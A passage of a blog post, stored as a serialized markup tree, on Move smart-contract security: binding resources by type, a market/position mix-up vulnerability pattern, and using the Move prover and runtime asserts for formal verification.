collateralised_lp_coin",{"type":24,"tag":271,"props":14641,"children":14642},{"style":624},[14643],{"type":29,"value":12210},{"type":24,"tag":271,"props":14645,"children":14646},{"style":3887},[14647],{"type":29,"value":13518},{"type":24,"tag":271,"props":14649,"children":14650},{"style":288},[14651],{"type":29,"value":801},{"type":24,"tag":271,"props":14653,"children":14654},{"style":3887},[14655],{"type":29,"value":14052},{"type":24,"tag":271,"props":14657,"children":14658},{"style":288},[14659],{"type":29,"value":801},{"type":24,"tag":271,"props":14661,"children":14662},{"style":3887},[14663],{"type":29,"value":14619},{"type":24,"tag":271,"props":14665,"children":14666},{"style":288},[14667],{"type":29,"value":14668},">>,\n",{"type":24,"tag":271,"props":14670,"children":14671},{"class":273,"line":339},[14672],{"type":24,"tag":271,"props":14673,"children":14674},{"style":2058},[14675],{"type":29,"value":14676}," /// Mint capability for LP Coin.\n",{"type":24,"tag":271,"props":14678,"children":14679},{"class":273,"line":347},[14680,14685,14689,14694,14698,14702,14706,14710],{"type":24,"tag":271,"props":14681,"children":14682},{"style":630},[14683],{"type":29,"value":14684}," mint_capability",{"type":24,"tag":271,"props":14686,"children":14687},{"style":624},[14688],{"type":29,"value":12210},{"type":24,"tag":271,"props":14690,"children":14691},{"style":3887},[14692],{"type":29,"value":14693}," MintCapability",{"type":24,"tag":271,"props":14695,"children":14696},{"style":288},[14697],{"type":29,"value":801},{"type":24,"tag":271,"props":14699,"children":14700},{"style":3887},[14701],{"type":29,"value":14052},{"type":24,"tag":271,"props":14703,"children":14704},{"style":288},[14705],{"type":29,"value":801},{"type":24,"tag":271,"props":14707,"children":14708},{"style":3887},[14709],{"type":29,"value":14619},{"type":24,"tag":271,"props":14711,"children":14712},{"style":288},[14713],{"type":29,"value":14668},{"type":24,"tag":271,"props":14715,"children":14716},{"class":273,"line":356},[14717],{"type":24,"tag":271,"props":14718,"children":14719},{"style":2058},[14720],{"type":29,"value":14721}," /// Burn capability for LP Coin.\n",{"type":24,"tag":271,"props":14723,"children":14724},{"class":273,"line":365},[14725,14730,14734,14739,14743,14747,14751,14755],{"type":24,"tag":271,"props":14726,"children":14727},{"style":630},[14728],{"type":29,"value":14729}," burn_capability",{"type":24,"tag":271,"props":14731,"children":14732},{"style":624},[14733],{"type":29,"value":12210},{"type":24,"tag":271,"props":14735,"children":14736},{"style":3887},[14737],{"type":29,"value":14738}," BurnCapability",{"type":24,"tag":271,"props":14740,"children":14741},{"style":288},[14742],{"type":29,"value":801},{"type":24,"tag":271,"props":14744,"children":14745},{"style":3887},[14746],{"type":29,"value":14052},{"type":24,"tag":271,"props":14748,"children":14749},{"style":288},[14750],{"type":29,"value":801},{"type":24,"tag":271,"props":14752,"children":14753},{"style":3887},[14754],{"type":29,"value":14619},{"type":24,"tag":271,"props":14756,"children":14757},{"style":288},[14758],{"type":29,"value":14668},{"type":24,"tag":271,"props":14760,"children":14761},{"class":273,"line":374},[14762],{"type":24,"tag":271,"props":14763,"children":14764},{"emptyLinePlaceholder":16},[14765],{"type":29,"value":327},{"type":24,"tag":271,"props":14767,"children":14768},{"class":273,"line":384},[14769],{"type":24,"tag":271,"props":14770,"children":14771},{"style":2058},[14772],{"type":29,"value":14313},{"type":24,"tag":271,"props":14774,"children":14775},{"class":273,"line":393},[14776],{"type":24,"tag":271,"props":14777,"children":14778},{"style":288},[14779],{"type":29,"value":13588},{"type":24,"tag":25,"props":14781,"children":14782},{},[14783,14785,14790],{"type":29,"value":14784},"When creating a ",{"type":24,"tag":135,"props":14786,"children":14788},{"className":14787},[],[14789],{"type":29,"value":14520},{"type":29,"value":14791},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":24,"tag":261,"props":14793,"children":14795},{"className":10718,"code":14794,"language":10717,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[14796],{"type":24,"tag":135,"props":14797,"children":14798},{"__ignoreMap":7},[14799,14842,14868,14875,14896,14940,14947,14954,14961,14998,15005],{"type":24,"tag":271,"props":14800,"children":14801},{"class":273,"line":274},[14802,14807,14811,14816,14820,14825,14830,14834,14838],{"type":24,"tag":271,"props":14803,"children":14804},{"style":598},[14805],{"type":29,"value":14806}," public",{"type":24,"tag":271,"props":14808,"children":14809},{"style":288},[14810],{"type":29,"value":606},{"type":24,"tag":271,"props":14812,"children":14813},{"style":630},[14814],{"type":29,"value":14815},"friend",{"type":24,"tag":271,"props":14817,"children":14818},{"style":288},[14819],{"type":29,"value":8823},{"type":24,"tag":271,"props":14821,"children":14822},{"style":630},[14823],{"type":29,"value":14824},"fun",{"type":24,"tag":271,"props":14826,"children":14827},{"style":630},[14828],{"type":29,"value":14829}," create",{"type":24,"tag":271,"props":14831,"children":14832},{"style":288},[14833],{"type":29,"value":801},{"type":24,"tag":271,"props":14835,"children":14836},{"style":3887},[14837],{"type":29,"value":14619},{"type":24,"tag":271,"props":14839,"children":14840},{"style":288},[14841],{"type":29,"value":14305},{"type":24,"tag":271,"props":14843,"children":14844},{"class":273,"line":284},[14845,14850,14854,14859,14864],{"type":24,"tag":271,"props":14846,"children":14847},{"style":630},[14848],{"type":29,"value":14849}," lp_store",{"type":24,"tag":271,"props":14851,"children":14852},{"style":624},[14853],{"type":29,"value":12210},{"type":24,"tag":271,"props":14855,"children":14856},{"style":624},[14857],{"type":29,"value":14858}," &",{"type":24,"tag":271,"props":14860,"children":14861},{"style":630},[14862],{"type":29,"value":14863},"signer",{"type":24,"tag":271,"props":14865,"children":14866},{"style":288},[14867],{"type":29,"value":638},{"type":24,"tag":271,"props":14869,"children":14870},{"class":273,"line":294},[14871],{"type":24,"tag":271,"props":14872,"children":14873},{"style":2058},[14874],{"type":29,"value":14313},{"type":24,"tag":271,"props":14876,"children":14877},{"class":273,"line":303},[14878,14883,14887,14892],{"type":24,"tag":271,"props":14879,"children":14880},{"style":288},[14881],{"type":29,"value":14882}," ) ",{"type":24,"tag":271,"props":14884,"children":14885},{"style":630},[14886],{"type":29,"value":14061},{"type":24,"tag":271,"props":14888,"children":14889},{"style":3887},[14890],{"type":29,"value":14891}," Reserves",{"type":24,"tag":271,"props":14893,"children":14894},{"style":288},[14895],{"type":29,"value":7145},{"type":24,"tag":271,"props":14897,"children":14898},{"class":273,"line":312},[14899,14904,14908,14913,14918,14922,14927,14931,14936],{"type":24,"tag":271,"props":14900,"children":14901},{"style":288},[14902],{"type":29,"value":14903}," lp",{"type":24,"tag":271,"props":14905,"children":14906},{"style":624},[14907],{"type":29,"value":11207},{"type":24,"tag":271,"props":14909,"children":14910},{"style":598},[14911],{"type":29,"value":14912},"assert_is_lp_store",{"type":24,"tag":271,"props":14914,"children":14915},{"style":288},[14916],{"type":29,"value":14917},"(signer",{"type":24,"tag":271,"props":14919,"children":14920},{"style":624},[14921],{"type":29,"value":11207},{"type":24,"tag":271,"props":14923,"children":14924},{"style":598},[14925],{"type":29,"value":14926},"address_of",{"type":24,"tag":271,"props":14928,"children":14929},{"style":288},[14930],{"type":29,"value":606},{"type":24,"tag":271,"props":14932,"children":14933},{"style":630},[14934],{"type":29,"value":14935},"lp_store",{"type":24,"tag":271,"props":14937,"children":14938},{"style":288},[14939],{"type":29,"value":5811},{"type":24,"tag":271,"props":14941,"children":14942},{"class":273,"line":321},[14943],{"type":24,"tag":271,"props":14944,"children":14945},{"emptyLinePlaceholder":16},[14946],{"type":29,"value":327},{"type":24,"tag":271,"props":14948,"children":14949},{"class":273,"line":330},[14950],{"type":24,"tag":271,"props":14951,"children":14952},{"style":2058},[14953],{"type":29,"value":14313},{"type":24,"tag":271,"props":14955,"children":14956},{"class":273,"line":339},[14957],{"type":24,"tag":271,"props":14958,"children":14959},{"emptyLinePlaceholder":16},[14960],{"type":29,"value":327},{"type":24,"tag":271,"props":14962,"children":14963},{"class":273,"line":347},[14964,14969,14973,14977,14981,14985,14989,14993],{"type":24,"tag":271,"props":14965,"children":14966},{"style":598},[14967],{"type":29,"value":14968}," move_to",{"type":24,"tag":271,"props":14970,"children":14971},{"style":288},[14972],{"type":29,"value":606},{"type":24,"tag":271,"props":14974,"children":14975},{"style":630},[14976],{"type":29,"value":14935},{"type":24,"tag":271,"props":14978,"children":14979},{"style":288},[14980],{"type":29,"value":158},{"type":24,"tag":271,"props":14982,"children":14983},{"style":3887},[14984],{"type":29,"value":14520},{"type":24,"tag":271,"props":14986,"children":14987},{"style":288},[14988],{"type":29,"value":801},{"type":24,"tag":271,"props":14990,"children":14991},{"style":3887},[14992],{"type":29,"value":14619},{"type":24,"tag":271,"props":14994,"children":14995},{"style":288},[14996],{"type":29,"value":14997},"> {\n",{"type":24,"tag":271,"props":14999,"children":15000},{"class":273,"line":356},[15001],{"type":24,"tag":271,"props":15002,"children":15003},{"style":2058},[15004],{"type":29,"value":13892},{"type":24,"tag":271,"props":15006,"children":15007},{"class":273,"line":365},[15008],{"type":24,"tag":271,"props":15009,"children":15010},{"style":288},[15011],{"type":29,"value":15012}," });\n",{"type":24,"tag":25,"props":15014,"children":15015},{},[15016],{"type":29,"value":15017},"In both these instances, type association only works because we create exactly one instance per type.",{"type":24,"tag":25,"props":15019,"children":15020},{},[15021,15023,15029,15031,15037,15039,15044],{"type":29,"value":15022},"On the other hand, consider if you have a ",{"type":24,"tag":135,"props":15024,"children":15026},{"className":15025},[],[15027],{"type":29,"value":15028},"Position\u003CT>",{"type":29,"value":15030}," and a ",{"type":24,"tag":135,"props":15032,"children":15034},{"className":15033},[],[15035],{"type":29,"value":15036},"Market\u003CT>",{"type":29,"value":15038}," where ",{"type":24,"tag":135,"props":15040,"children":15042},{"className":15041},[],[15043],{"type":29,"value":13704},{"type":29,"value":15045}," is the coin type.",{"type":24,"tag":261,"props":15047,"children":15049},{"className":10718,"code":15048,"language":10717,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[15050],{"type":24,"tag":135,"props":15051,"children":15052},{"__ignoreMap":7},[15053,15081,15109,15116,15123,15130,15158,15178,15185],{"type":24,"tag":271,"props":15054,"children":15055},{"class":273,"line":274},[15056,15060,15065,15069,15073,15077],{"type":24,"tag":271,"props":15057,"children":15058},{"style":278},[15059],{"type":29,"value":13769},{"type":24,"tag":271,"props":15061,"children":15062},{"style":3887},[15063],{"type":29,"value":15064}," Market",{"type":24,"tag":271,"props":15066,"children":15067},{"style":288},[15068],{"type":29,"value":801},{"type":24,"tag":271,"props":15070,"children":15071},{"style":630},[15072],{"type":29,"value":13527},{"type":24,"tag":271,"props":15074,"children":15075},{"style":3887},[15076],{"type":29,"value":13635},{"type":24,"tag":271,"props":15078,"children":15079},{"style":288},[15080],{"type":29,"value":14997},{"type":24,"tag":271,"props":15082,"children":15083},{"class":273,"line":284},[15084,15089,15093,15097,15101,15105],{"type":24,"tag":271,"props":15085,"children":15086},{"style":630},[15087],{"type":29,"value":15088}," reserves",{"type":24,"tag":271,"props":15090,"children":15091},{"style":624},[15092],{"type":29,"value":12210},{"type":24,"tag":271,"props":15094,"children":15095},{"style":3887},[15096],{"type":29,"value":13518},{"type":24,"tag":271,"props":15098,"children":15099},{"style":288},[15100],{"type":29,"value":801},{"type":24,"tag":271,"props":15102,"children":15103},{"style":3887},[15104],{"type":29,"value":13704},{"type":24,"tag":271,"props":15106,"children":15107},{"style":288},[15108],{"type":29,"value":13855},{"type":24,"tag":271,"props":15110,"children":15111},{"class":273,"line":294},[15112],{"type":24,"tag":271,"props":15113,"children":15114},{"style":2058},[15115],{"type":29,"value":13892},{"type":24,"tag":271,"props":15117,"children":15118},{"class":273,"line":303},[15119],{"type":24,"tag":271,"props":15120,"children":15121},{"style":288},[15122],{"type":29,"value":4385},{"type":24,"tag":271,"props":15124,"children":15125},{"class":273,"line":312},[15126],{"type":24,"tag":271,"props":15127,"children":15128},{"emptyLinePlaceholder":16},[15129],{"type":29,"value":327},{"type":24,"tag":271,"props":15131,"children":15132},{"class":273,"line":321},[15133,15137,15142,15146,15150,15154],{"type":24,"tag":271,"props":15134,"children":15135},{"style":278},[15136],{"type":29,"value":13769},{"type":24,"tag":271,"props":15138,"children":15139},{"style":3887},[15140],{"type":29,"value":15141}," Position",{"type":24,"tag":271,"props":15143,"children":15144},{"style":288},[15145],{"type":29,"value":801},{"type":24,"tag":271,"props":15147,"children":15148},{"style":630},[15149],{"type":29,"value":13527},{"type":24,"tag":271,"props":15151,"children":15152},{"style":3887},[15153],{"type":29,"value":13635},{"type":24,"tag":271,"props":15155,"children":15156},{"style":288},[15157],{"type":29,"value":14997},{"type":24,"tag":271,"props":15159,"children":15160},{"class":273,"line":330},[15161,15166,15170,15174],{"type":24,"tag":271,"props":15162,"children":15163},{"style":630},[15164],{"type":29,"value":15165}," amount",{"type":24,"tag":271,"props":15167,"children":15168},{"style":624},[15169],{"type":29,"value":12210},{"type":24,"tag":271,"props":15171,"children":15172},{"style":3887},[15173],{"type":29,"value":13576},{"type":24,"tag":271,"props":15175,"children":15176},{"style":288},[15177],{"type":29,"value":638},{"type":24,"tag":271,"props":15179,"children":15180},{"class":273,"line":339},[15181],{"type":24,"tag":271,"props":15182,"children":15183},{"style":2058},[15184],{"type":29,"value":13892},{"type":24,"tag":271,"props":15186,"children":15187},{"class":273,"line":347},[15188],{"type":24,"tag":271,"props":15189,"children":15190},{"style":288},[15191],{"type":29,"value":4385},{"type":24,"tag":25,"props":15193,"children":15194},{},[15195,15197,15202,15204,15209],{"type":29,"value":15196},"If ",{"type":24,"tag":135,"props":15198,"children":15200},{"className":15199},[],[15201],{"type":29,"value":15036},{"type":29,"value":15203}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":24,"tag":135,"props":15205,"children":15207},{"className":15206},[],[15208],{"type":29,"value":13704},{"type":29,"value":15210}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":24,"tag":25,"props":15212,"children":15213},{},[15214],{"type":29,"value":15215},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":24,"tag":261,"props":15217,"children":15219},{"className":10718,"code":15218,"language":10717,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[15220],{"type":24,"tag":135,"props":15221,"children":15222},{"__ignoreMap":7},[15223,15231,15293,15342,15394,15419,15431,15453,15461,15473],{"type":24,"tag":271,"props":15224,"children":15225},{"class":273,"line":274},[15226],{"type":24,"tag":271,"props":15227,"children":15228},{"style":2058},[15229],{"type":29,"value":15230}," /// Get the price of the token per lamport.\n",{"type":24,"tag":271,"props":15232,"children":15233},{"class":273,"line":284},[15234,15239,15243,15248,15252,15257,15261,15266,15270,15274,15279,15284,15289],{"type":24,"tag":271,"props":15235,"children":15236},{"style":630},[15237],{"type":29,"value":15238}," public",{"type":24,"tag":271,"props":15240,"children":15241},{"style":630},[15242],{"type":29,"value":13924},{"type":24,"tag":271,"props":15244,"children":15245},{"style":598},[15246],{"type":29,"value":15247}," get_price",{"type":24,"tag":271,"props":15249,"children":15250},{"style":288},[15251],{"type":29,"value":606},{"type":24,"tag":271,"props":15253,"children":15254},{"style":630},[15255],{"type":29,"value":15256},"type_info",{"type":24,"tag":271,"props":15258,"children":15259},{"style":624},[15260],{"type":29,"value":12210},{"type":24,"tag":271,"props":15262,"children":15263},{"style":3887},[15264],{"type":29,"value":15265}," TypeInfo",{"type":24,"tag":271,"props":15267,"children":15268},{"style":288},[15269],{"type":29,"value":2693},{"type":24,"tag":271,"props":15271,"children":15272},{"style":624},[15273],{"type":29,"value":12210},{"type":24,"tag":271,"props":15275,"children":15276},{"style":3887},[15277],{"type":29,"value":15278}," Decimal",{"type":24,"tag":271,"props":15280,"children":15281},{"style":630},[15282],{"type":29,"value":15283}," acquires",{"type":24,"tag":271,"props":15285,"children":15286},{"style":3887},[15287],{"type":29,"value":15288}," Oracle",{"type":24,"tag":271,"props":15290,"children":15291},{"style":288},[15292],{"type":29,"value":7145},{"type":24,"tag":271,"props":15294,"children":15295},{"class":273,"line":294},[15296,15300,15305,15309,15314,15318,15323,15328,15333,15338],{"type":24,"tag":271,"props":15297,"children":15298},{"style":278},[15299],{"type":29,"value":10800},{"type":24,"tag":271,"props":15301,"children":15302},{"style":630},[15303],{"type":29,"value":15304}," oracle",{"type":24,"tag":271,"props":15306,"children":15307},{"style":624},[15308],{"type":29,"value":1712},{"type":24,"tag":271,"props":15310,"children":15311},{"style":630},[15312],{"type":29,"value":15313}," borrow_global_mut",{"type":24,"tag":271,"props":15315,"children":15316},{"style":288},[15317],{"type":29,"value":801},{"type":24,"tag":271,"props":15319,"children":15320},{"style":3887},[15321],{"type":29,"value":15322},"Oracle",{"type":24,"tag":271,"props":15324,"children":15325},{"style":288},[15326],{"type":29,"value":15327},">(",{"type":24,"tag":271,"props":15329,"children":15330},{"style":624},[15331],{"type":29,"value":15332},"@",{"type":24,"tag":271,"props":15334,"children":15335},{"style":630},[15336],{"type":29,"value":15337},"oracle",{"type":24,"tag":271,"props":15339,"children":15340},{"style":288},[15341],{"type":29,"value":1155},{"type":24,"tag":271,"props":15343,"children":15344},{"class":273,"line":303},[15345,15349,15354,15358,15363,15367,15372,15376,15381,15385,15390],{"type":24,"tag":271,"props":15346,"children":15347},{"style":278},[15348],{"type":29,"value":10800},{"type":24,"tag":271,"props":15350,"children":15351},{"style":630},[15352],{"type":29,"value":15353}," price",{"type":24,"tag":271,"props":15355,"children":15356},{"style":624},[15357],{"type":29,"value":1712},{"type":24,"tag":271,"props":15359,"children":15360},{"style":288},[15361],{"type":29,"value":15362}," table",{"type":24,"tag":271,"props":15364,"children":15365},{"style":624},[15366],{"type":29,"value":11207},{"type":24,"tag":271,"props":15368,"children":15369},{"style":630},[15370],{"type":29,"value":15371},"borrow_mut_with_default",{"type":24,"tag":271,"props":15373,"children":15374},{"style":288},[15375],{"type":29,"value":801},{"type":24,"tag":271,"props":15377,"children":15378},{"style":3887},[15379],{"type":29,"value":15380},"TypeInfo",{"type":24,"tag":271,"props":15382,"children":15383},{"style":288},[15384],{"type":29,"value":158},{"type":24,"tag":271,"props":15386,"children":15387},{"style":3887},[15388],{"type":29,"value":15389},"Decimal",{"type":24,"tag":271,"props":15391,"children":15392},{"style":288},[15393],{"type":29,"value":14305},{"type":24,"tag":271,"props":15395,"children":15396},{"class":273,"line":312},[15397,15402,15406,15410,15414],{"type":24,"tag":271,"props":15398,"children":15399},{"style":624},[15400],{"type":29,"value":15401}," &",{"type":24,"tag":271,"props":15403,"children":15404},{"style":278},[15405],{"type":29,"value":11448},{"type":24,"tag":271,"props":15407,"children":15408},{"style":630},[15409],{"type":29,"value":15304},{"type":24,"tag":271,"props":15411,"children":15412},{"style":624},[15413],{"type":29,"value":41},{"type":24,"tag":271,"props":15415,"children":15416},{"style":288},[15417],{"type":29,"value":15418},"prices,\n",{"type":24,"tag":271,"props":15420,"children":15421},{"class":273,"line":321},[15422,15427],{"type":24,"tag":271,"props":15423,"children":15424},{"style":630},[15425],{"type":29,"value":15426}," type_info",{"type":24,"tag":271,"props":15428,"children":15429},{"style":288},[15430],{"type":29,"value":638},{"type":24,"tag":271,"props":15432,"children":15433},{"class":273,"line":330},[15434,15439,15443,15448],{"type":24,"tag":271,"props":15435,"children":15436},{"style":288},[15437],{"type":29,"value":15438}," decimal",{"type":24,"tag":271,"props":15440,"children":15441},{"style":624},[15442],{"type":29,"value":11207},{"type":24,"tag":271,"props":15444,"children":15445},{"style":598},[15446],{"type":29,"value":15447},"one",{"type":24,"tag":271,"props":15449,"children":15450},{"style":288},[15451],{"type":29,"value":15452},"()\n",{"type":24,"tag":271,"props":15454,"children":15455},{"class":273,"line":339},[15456],{"type":24,"tag":271,"props":15457,"children":15458},{"style":288},[15459],{"type":29,"value":15460}," );\n",{"type":24,"tag":271,"props":15462,"children":15463},{"class":273,"line":347},[15464,15468],{"type":24,"tag":271,"props":15465,"children":15466},{"style":624},[15467],{"type":29,"value":7582},{"type":24,"tag":271,"props":15469,"children":15470},{"style":630},[15471],{"type":29,"value":15472},"price\n",{"type":24,"tag":271,"props":15474,"children":15475},{"class":273,"line":356},[15476],{"type":24,"tag":271,"props":15477,"children":15478},{"style":288},[15479],{"type":29,"value":4385},{"type":24,"tag":25,"props":15481,"children":15482},{},[15483,15485,15490],{"type":29,"value":15484},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":24,"tag":10648,"props":15486,"children":15487},{},[15488],{"type":29,"value":15489},"instance",{"type":29,"value":15491}," of another resource (which is possible in Diem style move).",{"type":24,"tag":25,"props":15493,"children":15494},{},[15495],{"type":29,"value":15496},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":24,"tag":3834,"props":15498,"children":15499},{},[15500,15505],{"type":24,"tag":101,"props":15501,"children":15502},{},[15503],{"type":29,"value":15504},"Have unique initializers for your resources",{"type":24,"tag":101,"props":15506,"children":15507},{},[15508],{"type":29,"value":15509},"Associate resources with instances directly",{"type":24,"tag":62,"props":15511,"children":15513},{"id":15512},"formal-verification",[15514],{"type":29,"value":15515},"Formal Verification",{"type":24,"tag":25,"props":15517,"children":15518},{},[15519],{"type":29,"value":15520},"Formal verification is another exciting feature.",{"type":24,"tag":25,"props":15522,"children":15523},{},[15524],{"type":29,"value":15525},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":24,"tag":25,"props":15527,"children":15528},{},[15529,15531,15536],{"type":29,"value":15530},"However, this isn't a silver bullet. The key is figuring out ",{"type":24,"tag":10648,"props":15532,"children":15533},{},[15534],{"type":29,"value":15535},"what",{"type":29,"value":15537}," to prove.",{"type":24,"tag":25,"props":15539,"children":15540},{},[15541,15543,15550],{"type":29,"value":15542},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":24,"tag":32,"props":15544,"children":15547},{"href":15545,"rel":15546},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[36],[15548],{"type":29,"value":15549},"Solana AMM rounding issue",{"type":29,"value":15551}," we reported.",{"type":24,"tag":25,"props":15553,"children":15554},{},[15555],{"type":29,"value":15556},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":24,"tag":261,"props":15558,"children":15560},{"className":10718,"code":15559,"language":10717,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[15561],{"type":24,"tag":135,"props":15562,"children":15563},{"__ignoreMap":7},[15564,15625],{"type":24,"tag":271,"props":15565,"children":15566},{"class":273,"line":274},[15567,15572,15577,15581,15586,15590,15595,15599,15603,15608,15612,15616,15621],{"type":24,"tag":271,"props":15568,"children":15569},{"style":278},[15570],{"type":29,"value":15571}," let",{"type":24,"tag":271,"props":15573,"children":15574},{"style":630},[15575],{"type":29,"value":15576}," cmp",{"type":24,"tag":271,"props":15578,"children":15579},{"style":624},[15580],{"type":29,"value":1712},{"type":24,"tag":271,"props":15582,"children":15583},{"style":288},[15584],{"type":29,"value":15585}," u256",{"type":24,"tag":271,"props":15587,"children":15588},{"style":624},[15589],{"type":29,"value":11207},{"type":24,"tag":271,"props":15591,"children":15592},{"style":598},[15593],{"type":29,"value":15594},"compare",{"type":24,"tag":271,"props":15596,"children":15597},{"style":288},[15598],{"type":29,"value":606},{"type":24,"tag":271,"props":15600,"children":15601},{"style":624},[15602],{"type":29,"value":1137},{"type":24,"tag":271,"props":15604,"children":15605},{"style":630},[15606],{"type":29,"value":15607},"lp_value_after_swap_and_fee",{"type":24,"tag":271,"props":15609,"children":15610},{"style":288},[15611],{"type":29,"value":158},{"type":24,"tag":271,"props":15613,"children":15614},{"style":624},[15615],{"type":29,"value":1137},{"type":24,"tag":271,"props":15617,"children":15618},{"style":630},[15619],{"type":29,"value":15620},"lp_value_before_swap_u256",{"type":24,"tag":271,"props":15622,"children":15623},{"style":288},[15624],{"type":29,"value":1155},{"type":24,"tag":271,"props":15626,"children":15627},{"class":273,"line":284},[15628,15633,15637,15642,15646,15650],{"type":24,"tag":271,"props":15629,"children":15630},{"style":598},[15631],{"type":29,"value":15632}," assert!",{"type":24,"tag":271,"props":15634,"children":15635},{"style":288},[15636],{"type":29,"value":606},{"type":24,"tag":271,"props":15638,"children":15639},{"style":630},[15640],{"type":29,"value":15641},"cmp",{"type":24,"tag":271,"props":15643,"children":15644},{"style":624},[15645],{"type":29,"value":1031},{"type":24,"tag":271,"props":15647,"children":15648},{"style":477},[15649],{"type":29,"value":4183},{"type":24,"tag":271,"props":15651,"children":15652},{"style":288},[15653],{"type":29,"value":15654},", ERR_INCORRECT_SWAP);\n",{"type":24,"tag":25,"props":15656,"children":15657},{},[15658,15660,15665],{"type":29,"value":15659},"The move prover really shines when we're proving relationships ",{"type":24,"tag":10648,"props":15661,"children":15662},{},[15663],{"type":29,"value":15664},"between",{"type":29,"value":15666}," functions.",{"type":24,"tag":25,"props":15668,"children":15669},{},[15670,15672,15678],{"type":29,"value":15671},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":24,"tag":135,"props":15673,"children":15675},{"className":15674},[],[15676],{"type":29,"value":15677},"no_free_money_theorem",{"type":29,"value":15679}," in the move repository.",{"type":24,"tag":261,"props":15681,"children":15683},{"className":10718,"code":15682,"language":10717,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[15684],{"type":24,"tag":135,"props":15685,"children":15686},{"__ignoreMap":7},[15687,15695,15783,15825,15846,15853,15869,15895,15922,15947],{"type":24,"tag":271,"props":15688,"children":15689},{"class":273,"line":274},[15690],{"type":24,"tag":271,"props":15691,"children":15692},{"style":2058},[15693],{"type":29,"value":15694}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":24,"tag":271,"props":15696,"children":15697},{"class":273,"line":284},[15698,15702,15707,15711,15716,15720,15724,15728,15733,15737,15741,15745,15749,15753,15758,15762,15766,15770,15774,15779],{"type":24,"tag":271,"props":15699,"children":15700},{"style":630},[15701],{"type":29,"value":14286},{"type":24,"tag":271,"props":15703,"children":15704},{"style":598},[15705],{"type":29,"value":15706}," no_free_money_theorem",{"type":24,"tag":271,"props":15708,"children":15709},{"style":288},[15710],{"type":29,"value":606},{"type":24,"tag":271,"props":15712,"children":15713},{"style":630},[15714],{"type":29,"value":15715},"coin1_in",{"type":24,"tag":271,"props":15717,"children":15718},{"style":624},[15719],{"type":29,"value":12210},{"type":24,"tag":271,"props":15721,"children":15722},{"style":3887},[15723],{"type":29,"value":13576},{"type":24,"tag":271,"props":15725,"children":15726},{"style":288},[15727],{"type":29,"value":158},{"type":24,"tag":271,"props":15729,"children":15730},{"style":630},[15731],{"type":29,"value":15732},"coin2_in",{"type":24,"tag":271,"props":15734,"children":15735},{"style":624},[15736],{"type":29,"value":12210},{"type":24,"tag":271,"props":15738,"children":15739},{"style":3887},[15740],{"type":29,"value":13576},{"type":24,"tag":271,"props":15742,"children":15743},{"style":288},[15744],{"type":29,"value":2693},{"type":24,"tag":271,"props":15746,"children":15747},{"style":624},[15748],{"type":29,"value":12210},{"type":24,"tag":271,"props":15750,"children":15751},{"style":288},[15752],{"type":29,"value":1357},{"type":24,"tag":271,"props":15754,"children":15755},{"style":3887},[15756],{"type":29,"value":15757},"u64",{"type":24,"tag":271,"props":15759,"children":15760},{"style":288},[15761],{"type":29,"value":158},{"type":24,"tag":271,"props":15763,"children":15764},{"style":3887},[15765],{"type":29,"value":15757},{"type":24,"tag":271,"props":15767,"children":15768},{"style":288},[15769],{"type":29,"value":8823},{"type":24,"tag":271,"props":15771,"children":15772},{"style":630},[15773],{"type":29,"value":14061},{"type":24,"tag":271,"props":15775,"children":15776},{"style":3887},[15777],{"type":29,"value":15778}," Pool",{"type":24,"tag":271,"props":15780,"children":15781},{"style":288},[15782],{"type":29,"value":7145},{"type":24,"tag":271,"props":15784,"children":15785},{"class":273,"line":294},[15786,15791,15796,15800,15805,15809,15813,15817,15821],{"type":24,"tag":271,"props":15787,"children":15788},{"style":278},[15789],{"type":29,"value":15790}," let",{"type":24,"tag":271,"props":15792,"children":15793},{"style":630},[15794],{"type":29,"value":15795}," share",{"type":24,"tag":271,"props":15797,"children":15798},{"style":624},[15799],{"type":29,"value":1712},{"type":24,"tag":271,"props":15801,"children":15802},{"style":598},[15803],{"type":29,"value":15804}," 